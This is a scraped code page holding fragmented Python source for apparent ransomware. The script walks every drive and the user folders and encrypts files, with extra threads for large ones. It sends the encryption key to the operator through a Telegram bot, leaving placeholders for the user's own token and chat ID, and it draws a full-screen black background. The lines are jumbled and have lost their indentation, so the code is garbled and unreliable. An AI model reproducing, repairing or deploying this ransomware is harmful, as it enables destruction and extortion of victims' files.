Code2pdf 64692611922ce
Code2pdf 64692611922ce
/usr/bin/python3
def FileE(loc): # We Pass File Name And Path In Hare In Order To Encrypt Them
print(f"FILE -> {loc.Target}")
try: # Run Try/Except So We Dont Run in to Error
if (os.path.isdir(loc.Target) != True) : # Cheak If Its File not Directory
Token = "Your Telegram Token So you can Get Decrypt The Files!" # Our Api Token
NumID = "Your User ID so Bot just Send Key To You !" # Our User ID
PathList = [r"C:\Users\\"] # You can add more Paths hare if you went
for Latter in range(97,123): (PathList.append(f"{chr(Latter)}:\\")) # Making list of A,Z in order to pass as Drive to our path list
PathList.remove("c:\\") # Removing C Drive
print(f"list -> {PathList}") # Remove This line this is just for Debuging
print(f"We are -> {Script}") # Remove This line this is just for Debuging
print(f"Key - > {Key}") # Remove This line this is just for Debuging
def OneStart():
HttpReq = D_E_ncrypt(Url=f"https://api.telegram.org/bot{Token}/sendMessage?chat_id={NumID}&text={Message}")
threading.Thread(target=HttpReq.SendKey, args=()).start() # Making HttpReq Moudle And Runnig it In a Thread
Img = Image.new('RGB', (GetSystemMetrics(0), GetSystemMetrics(1)), color = (0, 0, 0)) # Getting Window Heihgt & Weight To Make Background
except:pass
for path, subdirs, files in os.walk(AllFiles): # For All Drives & Files
else :
if (FileSize >= 50000000 ): # If File size is More then 50mb make Thread for this file
while True: # Make While Ture
if len(threading.enumerate()) < MaxThread: # IF your Worker List is Free
else: sleep(0.2) # Sleep for 0.2 Sec Until Spot Get Free
else :
print(FilePath) # Remove This line this is just for Debuging
D_E_ncrypt(FilePath, Box).FileE() # Pass In File Name And key
except Exception as e:print(f"Error -> {e}") # remove Print And Replace Ut With Pass
else:
CallErrorBox() # Call Error Box